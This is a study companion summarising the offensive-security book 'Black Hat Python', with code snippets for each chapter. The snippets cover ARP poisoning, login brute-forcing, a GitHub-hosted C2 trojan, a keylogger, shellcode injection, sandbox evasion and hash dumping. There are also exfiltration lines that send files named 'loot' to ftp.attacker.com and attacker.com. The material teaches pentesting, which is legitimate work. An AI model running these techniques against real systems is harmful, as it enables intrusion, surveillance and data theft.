Black Hat Python

2nd Edition — Python Programming for Hackers and Pentesters

by Justin Seitz & Tim Arnold (No Starch Press, 2021)

Comprehensive Book Summary — with Worked Examples

Chapter-by-chapter overview · Python libraries per chapter · Code example per key concept

Prepared as a reading companion — not a substitute for the full text.

About This Summary

Black Hat Python, 2nd Edition (updated for Python 3) teaches offensive security programming from scratch: you build every tool yourself — TCP/UDP clients, a Netcat clone, an SSH tunneler, a raw-socket packet sniffer, a Scapy-powered MITM attack, a web scraper and brute-forcer, a Burp Suite extension, a GitHub-controlled trojan, a Windows trojaning toolkit (keylogger, screenshot grabber, shellcode injector), an exfiltration framework, a Windows privilege escalation toolset, and Volatility forensics plug-ins — all in pure Python.

Each chapter section below includes a synopsis, key concepts (each paired with a runnable code snippet), and a chip table of the **Python libraries and external tools** the chapter introduces or uses. Libraries appearing for the **first time** are flagged in orange.

Book Structure (11 Chapters)

- **Environment & networking foundations** (Ch. 1–2): setting up Kali + Python 3 venv, sockets, Netcat replacement, TCP proxy, Paramiko/SSH tunneling.
- **Packet-level attacks** (Ch. 3–4): raw-socket sniffers with ctypes/struct, ICMP host discovery, Scapy SMTP credential sniffer, ARP cache poisoning MITM, pcap face detection.
- **Web hackery & Burp extensions** (Ch. 5–6): urllib/requests/lxml web libraries, WordPress scanner, directory brute-forcer, login form brute-forcer, writing Burp Suite extensions in Python (fuzzer, Bing search, content-to-wordlist).
- **Trojan & Windows post-exploitation** (Ch. 7–10): GitHub C2 trojan, keylogger, screenshot grabber, shellcode execution, sandbox detection, AES exfiltration (email/FTP/HTTP), Windows WMI process monitor, token privilege escalation, code injection.
- **Forensics** (Ch. 11): Volatility 3 framework, volshell, custom Volatility plug-ins.

Chapter 1: Setting Up Your Python Environment

Environment preparation: installing Kali Linux (natively or in a VM), creating an isolated Python 3 virtual environment (venv), choosing an IDE (VS Code, PyCharm, or WingIDE), and writing clean, PEP 8-compliant code. This chapter is intentionally short — it gets you set up so the remaining ten chapters can focus entirely on building offensive tools.

Key techniques & examples

• Create a dedicated virtual environment to isolate project dependencies from the system Python.

```
$ python3 -m venv venv3
$ source venv3/bin/activate
(venv3) $ pip install lxml
```

• Install VS Code on Kali for syntax highlighting, linting, and debugging.

```
$ apt-get install code
```

• Follow PEP 8 conventions: 4-space indentation, snake_case names, imports at the top.

```
# Good:
import socket
import threading

def send_data(host, port):
pass
```

Libraries / tools used in this chapter

Python 3 venv	pip	VS Code / PyCharm / WingIDE	Kali Linux

★ Newly introduced: Python 3 venv, pip

Chapter 2: Basic Networking Tools

Builds core network programming primitives from scratch using Python's socket library: a TCP client, a UDP client, a multi-threaded TCP server. Then replaces Netcat with a pure-Python alternative (bhnet) that supports interactive command shells, file uploads, and arbitrary command execution over TCP.

Covers building a raw TCP proxy (useful for inspecting plaintext protocols), then adding SSH capability via Paramiko — both an SSH command client and an SSH reverse/forward tunneler — to create encrypted communication channels through a restricted network.

Key techniques & examples

• A raw TCP client connects to any host/port and sends data — the simplest possible network probe.

```
import socket
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('192.168.1.10', 80))
client.send(b'GET / HTTP/1.1\r\nHost: 192.168.1.10\r\n\r\n')
response = client.recv(4096)
print(response.decode())
```

• A multi-threaded TCP server accepts concurrent connections — the skeleton for any listener tool.

```
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('0.0.0.0', 9998))
server.listen(5)
while True:
client, addr = server.accept()
threading.Thread(target=handle_client, args=(client,)).start()
```

• The Netcat replacement (bhnet.py) gives a remote interactive shell over a plain TCP connection.

```
# Listener side (server mode, command shell):
$ python netcat.py -t 192.168.1.203 -p 5555 -l -c
# Client side:
$ python netcat.py -t 192.168.1.203 -p 5555
<BHP:#> whoami
root
```

• Paramiko creates an authenticated SSH session and can execute commands or set up tunnels.

```
import paramiko
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('192.168.1.10', username='user', password='pass')
stdin, stdout, stderr = client.exec_command('id')
print(stdout.read().decode())
```

Libraries / tools used in this chapter

socket	threading	subprocess	paramiko
sys	argparse		

★ Newly introduced: socket, threading, paramiko

Chapter 3: Writing a Sniffer

Builds a raw-socket packet sniffer from scratch — no Scapy, no libpcap. Uses Python's socket library in raw mode (IPPROTO_IP on Windows with SIO_RCVALL, or AF_PACKET on Linux) to capture all traffic on an interface.

Parses the IP header by hand using two approaches: the ctypes module (mapping C structs directly) and the struct module (unpacking raw bytes). Then extends the sniffer to decode ICMP packets and builds a live UDP host-discovery scanner (send UDP → wait for ICMP Port Unreachable responses).

Key techniques & examples

• A raw AF_PACKET socket captures all Ethernet frames on Linux without any external library.

```
import socket
sniffer = socket.socket(socket.AF_PACKET, socket.SOCK_RAW,
socket.ntohs(0x0800))
raw_buffer = sniffer.recvfrom(65565)[0]
```

• ctypes maps a C-style IP header structure directly onto a raw bytes buffer for zero-copy parsing.

```
from ctypes import *
class IP(Structure):
_fields_ = [
('ihl', c_ubyte, 4),
('version', c_ubyte, 4),
('tos', c_uint8),
('len', c_uint16),
('src_address',c_uint32),
('dst_address',c_uint32),
]
```

• struct.unpack parses raw bytes into Python values using a format string — simpler for single packets.

```
import struct
header = raw_buffer[0:20]
# Unpack: version/IHL, TOS, total len, TTL, proto, src, dst
iph = struct.unpack('!BBHHHBBH4s4s', header)
proto = iph[6]
```

• The host discovery loop sends UDP to every host in a /24 subnet and collects ICMP responses.

```
import ipaddress, socket, time, threading
for ip in ipaddress.ip_network('192.168.1.0/24').hosts():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(b'PING', (str(ip), 65212))
```

Libraries / tools used in this chapter

socket (raw)	ctypes	struct	ipaddress
threading	os		

★ Newly introduced: ctypes, struct, ipaddress

Chapter 4: Owning the Network with Scapy

Replaces the manual struct-parsing of Chapter 3 with Scapy, a powerful Python packet-manipulation library. Builds three tools: an SMTP/FTP/HTTP credential sniffer using Scapy's sniff() and BPF filters, an ARP cache poisoning attack (classic MITM) with Scapy's send() and threading, and a pcap processor that reassembles HTTP traffic and runs face detection (OpenCV) on carved images.

Key techniques & examples

• Scapy's sniff() with a BPF filter captures only the specific traffic you care about.

```
from scapy.all import sniff, TCP
sniff(filter='tcp port 25 or tcp port 110 or tcp port 143',
prn=process_packet, store=0)
```

• ARP poisoning: send crafted ARP replies to both victim and gateway to intercept all traffic.

```
from scapy.all import Ether, ARP, sendp
# Tell victim: 'I am the gateway'
packet = Ether(dst=victim_mac)/ARP(op='is-at',
psrc=gateway_ip, pdst=victim_ip, hwdst=victim_mac)
sendp(packet, iface='eth0', inter=2, loop=1)
```

• pcap files are opened with rdpcap() and each packet's layers are accessible by name.

```
from scapy.all import rdpcap
packets = rdpcap('capture.pcap')
for pkt in packets:
if pkt.haslayer('TCP') and pkt['TCP'].dport == 80:
print(bytes(pkt['TCP'].payload)[:100])
```

• OpenCV (cv2) detects faces in images carved from a pcap reassembly.

```
import cv2
face_cascade = cv2.CascadeClassifier('haarcascade.xml')
img = cv2.imread('carved.jpg')
gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
faces = face_cascade.detectMultiScale(gray, 1.3, 5)
```

Libraries / tools used in this chapter

scapy	opencv-python (cv2)	os	sys
threading			

★ Newly introduced: scapy, opencv-python

Chapter 5: Web Hackery

Three web-automation tools built with Python's web libraries. First, a WordPress plugin/theme fingerprinter that fetches a target site and maps the installed open-source components by comparing file hashes against a local mirror of the WordPress SVN repository.

Second, a multi-threaded directory and file brute-forcer using a wordlist (SecLists) to discover hidden paths. Third, an HTML form login brute-forcer that correctly handles hidden CSRF tokens by parsing the login page before each attempt.

Key techniques & examples

• requests.get() is the cleanest way to fetch a web page and inspect its response headers/body.

```
import requests
res = requests.get('https://target.com/wp-login.php')
print(res.status_code, res.headers.get('Server'))
```

• lxml's etree parses HTML/XML responses and xpath() navigates the parsed tree to extract data.

```
from lxml import etree
tree = etree.fromstring(res.content)
links = tree.xpath('//a/@href')
```

• Multi-threaded directory brute-forcing: each thread dequeues a word and probes the URL.

```
from queue import Queue
import threading

word_queue = Queue()
for w in wordlist:
word_queue.put(w)

def dir_bruter(q):
while not q.empty():
word = q.get()
r = requests.get(f'{target}/{word}')
if r.status_code == 200:
print(f'[+] Found: /{word}')
```

• Login brute-forcing requires extracting the hidden CSRF token from the form on every attempt.

```
# Fetch login page and extract token
login_page = session.get(login_url)
tree = etree.fromstring(login_page.content)
token = tree.xpath("//input[@name='csrf_token']/@value")[0]
# Now POST with the real token
session.post(login_url, data={'user':user,'pass':pw,'csrf_token':token})
```

Libraries / tools used in this chapter

requests	lxml	BeautifulSoup (bs4)	urllib
queue	threading		

★ Newly introduced: requests, lxml, BeautifulSoup

Chapter 6: Extending Burp Proxy

Teaches writing Burp Suite extensions in Python (via Jython) to automate three tasks within Burp's UI. First, a Burp Intruder payload generator that fuzzes interesting parameter values with mutations. Second, a Bing search extension that takes a target IP or domain, queries Bing's API for all virtual hosts on that IP, and adds discovered hosts to Burp's target scope. Third, a content-mining extension that scrapes a target site and builds a site-specific wordlist for use in password or directory attacks.

Key techniques & examples

• A Burp extension must implement IBurpExtender; registerExtenderCallbacks() is its entry point.

```
from burp import IBurpExtender
class BurpExtender(IBurpExtender):
```

```
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
callbacks.setExtensionName('BHP Fuzzer')
```

• IIntruderPayloadGeneratorFactory exposes a custom payload generator to Burp's Intruder tool.

```
from burp import IBurpExtender, IIntruderPayloadGeneratorFactory
class BurpExtender(IBurpExtender,
IIntruderPayloadGeneratorFactory):
def createNewInstance(self, attack):
return BHPFuzzer(self, attack)
```

• The Bing Virtual Host search queries Microsoft's Bing API with 'ip:x.x.x.x' and parses results.

```
import urllib
bing_query = urllib.parse.quote(f'ip:{target_ip}')
url = f'https://api.bing.microsoft.com/v7.0/search?q={bing_query}'
res = requests.get(url, headers={'Ocp-Apim-Subscription-Key': api_key})
```

• The wordlist-builder extension scrapes all text from the target site and counts word frequencies.

```
from burp import IBurpExtender, IContextMenuFactory
from bs4 import BeautifulSoup
words = {}
soup = BeautifulSoup(response_body, 'html.parser')
for word in soup.get_text().split():
words[word.lower()] = words.get(word.lower(), 0) + 1
```

Libraries / tools used in this chapter

Burp Suite (Jython extension API)	requests	BeautifulSoup	re
urllib			

★ Newly introduced: Burp Suite Jython extension API

Chapter 7: GitHub Command and Control

Builds a stealthy, GitHub-hosted Command & Control (C2) framework from scratch. A trojan on the victim machine checks a private GitHub repository for its configuration (which modules to run) and fetches module code directly from the repo, executes it in memory, and pushes results back — all over HTTPS to github.com, blending in with normal developer traffic.

The key trick: hijacks Python's import mechanism so modules retrieved from GitHub are importable as normal Python modules without touching disk, making static detection harder.

Key techniques & examples

• The trojan reads its config file from a GitHub repo using the GitHub REST API.

```
import requests
config_url = 'https://api.github.com/repos/user/bhptrojan/contents/config.json'
headers = {'Authorization': f'token {github_token}'}
config = requests.get(config_url, headers=headers).json()
```

• Module code is base64-decoded and exec()'d in memory — no file written to disk.

```
import base64
module_b64 = requests.get(module_url, headers=headers).json()['content']
module_code = base64.b64decode(module_b64).decode()
exec(module_code, {}) # Execute in isolated namespace
```

• A custom import hook makes GitHub-fetched code importable via normal 'import' statements.

```
import sys
from importlib.abc import Loader, MetaPathFinder

class GithubFinder(MetaPathFinder):
def find_module(self, name, path=None):
if name in github_modules:
return GithubLoader(name)
sys.meta_path.append(GithubFinder())
```

• Results are committed back to the repo so the C2 operator sees them via a GitHub web browser.

```
# Commit output back to GitHub
output_b64 = base64.b64encode(output.encode()).decode()
payload = {'message': 'result', 'content': output_b64}
requests.put(output_url, json=payload, headers=headers)
```

Libraries / tools used in this chapter

requests	base64	importlib	github3.py
json			

★ Newly introduced: github3.py, importlib meta_path

Chapter 8: Common Trojaning Tasks on Windows

Four standalone Windows post-exploitation modules designed to be deployed as part of the GitHub trojan: (1) a keylogger using PyWinHook to intercept every keystroke system-wide; (2) a screenshot grabber using win32api/PIL; (3) a shellcode execution helper that allocates executable memory with ctypes VirtualAlloc, copies shellcode in, and executes it in a new thread; and (4) a sandbox detection module that checks mouse movements, process count, and clipboard contents to determine whether the trojan is running inside an analyst's sandbox.

Key techniques & examples

• A Windows keylogger hooks SetWindowsHookEx at the system level using PyWinHook.

```
import pythoncom, pyWinhook
hm = pyWinhook.HookManager()
hm.KeyDown = on_keyboard_event
hm.HookKeyboard()
pythoncom.PumpMessages()
```

• A screenshot is captured with win32gui.GetWindowDC and saved as a PNG.

```
import win32gui, win32ui, win32con
hwnd = win32gui.GetDesktopWindow()
dc = win32gui.GetWindowDC(hwnd)
# ... BitBlt the screen, save with PIL
```

• Shellcode is injected into the current process using ctypes VirtualAlloc + CreateThread.

```
import ctypes
shellcode = b'\xfc\xe8...' # msfvenom payload
ptr = ctypes.windll.kernel32.VirtualAlloc(
None, len(shellcode), 0x3000, 0x40) # MEM_COMMIT | PAGE_EXECUTE_READWRITE
ctypes.memmove(ptr, shellcode, len(shellcode))
thread_id = ctypes.c_ulong(0)
ctypes.windll.kernel32.CreateThread(
None, 0, ptr, None, 0, ctypes.byref(thread_id))
```

• Sandbox detection: check if the mouse has moved recently and if the process count is suspiciously low.

```
import ctypes, time
p1 = ctypes.wintypes.POINT()
ctypes.windll.user32.GetCursorPos(ctypes.byref(p1))
```

```
time.sleep(10)
p2 = ctypes.wintypes.POINT()
ctypes.windll.user32.GetCursorPos(ctypes.byref(p2))
if p1.x == p2.x and p1.y == p2.y:
sys.exit() # Likely a sandbox
```

Libraries / tools used in this chapter

pyWinhook	pythoncom	win32api / win32gui / win32con	ctypes (Windows)
PIL / Pillow			

★ Newly introduced: pyWinhook, win32api/win32gui, PIL/Pillow

Chapter 9: Fun with Exfiltration

Builds a complete data exfiltration framework that encrypts data before sending it — making it harder for DLP tools and analysts to understand the captured files. Uses AES encryption (via the cryptography library). Then implements three exfiltration transport channels: (1) email via SMTP, (2) file transfer via FTP, and (3) HTTP POST to a web server. A final 'all-in-one' script combines encrypt, transport, and cleanup into a single workflow.

Key techniques & examples

• AES-CBC encryption (via the cryptography library's Fernet or direct AES) protects exfiltrated data in transit.

```
from cryptography.fernet import Fernet
key = Fernet.generate_key()
f = Fernet(key)
with open('loot.txt','rb') as fp:
encrypted = f.encrypt(fp.read())
# Store key separately; send encrypted blob
```

• Email exfiltration sends the encrypted blob as a base64-encoded attachment over SMTP.

```
import smtplib
from email.mime.text import MIMEText
smtp = smtplib.SMTP('smtp.gmail.com', 587)
smtp.starttls()
smtp.login(acct, password)
smtp.sendmail(acct, target, message.as_string())
```

• FTP exfiltration transfers the encrypted file to a controlled FTP server using ftplib.

```
import ftplib
ftp = ftplib.FTP('ftp.attacker.com')
ftp.login('user', 'pass')
with open('encrypted_loot', 'rb') as fp:
ftp.storbinary('STOR loot.enc', fp)
```

• HTTP POST exfiltration sends the blob to an attacker-controlled web server, blending with normal traffic.

```
import requests
with open('encrypted_loot', 'rb') as fp:
requests.post('https://attacker.com/upload',
files={'file': fp})
```

Libraries / tools used in this chapter

cryptography (Fernet/AES)	smtplib	ftplib	requests
win32com.client	base64		

★ Newly introduced: cryptography, smtplib, ftplib

Chapter 10: Windows Privilege Escalation

Three privilege escalation primitives, all targeting Windows. First, a WMI-based process monitor that watches for new processes created by high-privilege users and logs their full command lines and token privileges — hunting for processes that run as SYSTEM with interesting privileges.

Second, a Windows token privilege inspector (win32security) that enumerates which powerful privileges (SeDebugPrivilege, SeImpersonatePrivilege, etc.) are currently enabled in the process token and races a vulnerable service to steal them. Third, a code injection technique that uses ctypes to write shellcode into a remote process's memory and trigger execution.

Key techniques & examples

• WMI watches for Win32_Process creation events in real time, logging command lines and privileges.

```
import wmi
c = wmi.WMI()
process_watcher = c.Win32_Process.watch_for('creation')
while True:
new_proc = process_watcher()
print(new_proc.CommandLine, new_proc.ProcessId)
```

• win32security enumerates all enabled token privileges for the current or a target process.

```
import win32security, win32api, win32con
proc_handle = win32api.OpenProcess(
win32con.PROCESS_ALL_ACCESS, False, pid)
token = win32security.OpenProcessToken(proc_handle,
win32con.TOKEN_QUERY)
privs = win32security.GetTokenInformation(
token, win32security.TokenPrivileges)
```

• Code injection: OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread.

```
import ctypes
KERNEL32 = ctypes.windll.kernel32
handle = KERNEL32.OpenProcess(0x001F0FFF, False, pid)
allocated = KERNEL32.VirtualAllocEx(handle, 0,
len(shellcode), 0x3000, 0x40)
KERNEL32.WriteProcessMemory(handle, allocated,
shellcode, len(shellcode), None)
KERNEL32.CreateRemoteThread(handle, None, 0,
allocated, None, 0, None)
```

• A vulnerable Windows service created as 'BlackHat Service' serves as the privilege escalation target for testing.

```
# Run the vulnerable service as SYSTEM for testing:
sc create BlackHat binPath= "C:\\bhservice\\bhservice.exe"
sc start BlackHat
```

Libraries / tools used in this chapter

wmi	win32api	win32security	win32con
ctypes (Windows)	sys	os	

★ Newly introduced: wmi, win32security

Chapter 11: Offensive Forensics

Demonstrates using Volatility 3 — the standard memory forensics framework — offensively: analyzing a Windows memory dump for reconnaissance data (running processes, network connections, registry hives, dumped credentials)

as an attacker would to understand a target environment.

Covers general recon (process listing with pslist/cmdline), user recon (hashdump to extract NTLM hashes), and vulnerability recon (finding outdated or dangerous drivers). Uses the interactive volshell for ad-hoc Python-level analysis, then builds a fully custom Volatility plug-in from scratch.

Key techniques & examples

• Volatility is invoked from the command line, specifying the memory image and the plug-in to run.

```
$ python vol.py -f memory.dmp windows.pslist
$ python vol.py -f memory.dmp windows.cmdline
$ python vol.py -f memory.dmp windows.hashdump
```

• volshell drops into an interactive Python shell inside a Volatility context for ad-hoc analysis.

```
$ python vol.py -f memory.dmp -w volshell.Volshell
>>> from volatility.plugins.windows import pslist
>>> # Full Python environment with Volatility APIs available
```

• A custom plug-in inherits from PluginInterface and implements get_requirements() and run().

```
from volatility.framework import interfaces
class CmdLine(interfaces.plugin.PluginInterface):
@classmethod
def get_requirements(cls):
return [requirements.TranslationLayerRequirement(
name='primary', architectures=['Intel32','Intel64'])]
def run(self):
return renderers.TreeGrid(
[('PID', int), ('Name', str), ('Args', str)],
self._generator(pslist_plugin.PsList.list_processes(...)))
```

• Hashes dumped from a memory image can be cracked offline or used directly in pass-the-hash attacks.

```
# Memory dump -> hashdump -> NTLM hashes
$ python vol.py -f memory.dmp windows.hashdump
Administrator:500:aad3...:<NT_HASH>:::
```

Libraries / tools used in this chapter

volatility3	volshell	Python typing/interfaces	sys
os			

★ Newly introduced: volatility3

Master Python Library Index (by first appearance)

Unlike tool-catalogue books, *Black Hat Python* teaches you to build every tool using Python's standard library plus a small, focused set of third-party packages. The table below summarises every library used, the chapter where it appears, and its role.

Library / Tool	Ch.	Role
socket	2	Core TCP/UDP client, server, and raw-packet capture
threading	2	Concurrent connection handling in servers and scanners
paramiko	2	SSH client, server, and tunnel creation
ctypes	3, 8, 10	Parse IP headers (Ch.3); VirtualAlloc/shellcode injection (8,10)
struct	3	Unpack raw bytes into IP/ICMP header field tuples
ipaddress	3	Enumerate hosts in a subnet for the host-discovery scanner
scapy	4	Craft/send/sniff packets; ARP poisoning; pcap read/write
opencv-python (cv2)	4	Face detection on images carved from pcap traffic
requests	5, 6, 7	HTTP client used in web scraper, brute-forcer, and GitHub C2
lxml	5	XPath-based parsing of HTML/XML responses
BeautifulSoup (bs4)	5, 6	HTML parsing for web scraper and Burp wordlist extension
queue	5	Thread-safe work queue for multi-threaded brute-forcers
Burp Suite (Jython API)	6	Extend Burp Intruder/Scanner with custom Python extensions
github3.py	7	GitHub REST API wrapper for trojan C2 config/module fetch
importlib	7	Custom meta-path finder to import GitHub-fetched code in-memory
pyWinhook / pythoncom	8	System-wide Windows keyboard hook for keylogging
win32api / win32gui / win32con	8, 10	Windows API access: screenshots, process/token operations
PIL / Pillow	8	Save captured screenshots as PNG files
cryptography (Fernet/AES)	9	AES encryption of files before exfiltration
smtplib	9	Email exfiltration channel over SMTP
ftplib	9	File exfiltration channel over FTP
wmi	10	Watch for new process creation events via Windows WMI
win32security	10	Enumerate and manipulate Windows process/token privileges
volatility3	11	Memory forensics framework: process listing, hash dumping, plug-ins

Final Notes

Black Hat Python, 2nd Edition is intentionally a 'build it yourself' book: the authors deliberately avoid wrapping everything in high-level frameworks so that readers understand exactly how each tool works at the network and OS level. Every tool built in the book (the Netcat clone, the sniffer, the ARP poisoner, the web brute-forcers, the GitHub trojan, the Windows trojaning modules, the exfiltration framework, the privilege escalation helpers, and the Volatility plug-in) is a complete, working Python 3 program.

Because several chapters (8, 9, 10) specifically target Windows internals (WMI, win32api, VirtualAlloc, CreateRemoteThread), those chapters require a Windows test environment. All other chapters run on Kali Linux. The authors maintain a companion GitHub repository with all the book's code: **https://github.com/EONRaider/bhp** (community port) and the official No Starch resources page.